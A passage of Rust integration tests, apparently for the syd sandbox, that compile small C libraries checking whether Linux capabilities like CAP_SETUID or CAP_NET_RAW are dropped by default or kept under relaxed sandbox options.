#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_drop_cap_sys_ptrace_load_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_ptrace");
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_ptrace:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_drop_cap_chown_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_drop_cap_chown_load_allow_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_chown:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_drop_cap_chown_load_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("chown");
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_drop_cap_setgid_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");
    skip_unless_available!("cc", "sh");

    // CAP_SETGID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_drop_cap_setgid_load_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETGID restrictions on library load.
fn test_syd_drop_cap_setgid_load_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");
    skip_unless_available!("cc", "sh");

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETGID is permitted
    if (cap_get_flag(caps, CAP_SETGID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETGID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_drop_cap_setuid_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");
    skip_unless_available!("cc", "sh");

    // CAP_SETUID must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_drop_cap_setuid_load_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SETUID restrictions on library load.
fn test_syd_drop_cap_setuid_load_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");
    skip_unless_available!("cc", "sh");

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SETUID is permitted
    if (cap_get_flag(caps, CAP_SETUID, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SETUID is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_drop_cap_net_bind_service_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_drop_cap_net_bind_service_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions on library load.
fn test_syd_drop_cap_net_bind_service_load_unsafe_bind() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_bind_service");
    skip_unless_available!("cc", "sh");

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_BIND_SERVICE is permitted
    if (cap_get_flag(caps, CAP_NET_BIND_SERVICE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_BIND_SERVICE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_bind:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_drop_cap_net_raw_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_drop_cap_net_raw_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_NET_RAW restrictions on library load.
fn test_syd_drop_cap_net_raw_load_unsafe_socket() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("net_raw");
    skip_unless_available!("cc", "sh");

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_NET_RAW is permitted
    if (cap_get_flag(caps, CAP_NET_RAW, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_NET_RAW is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
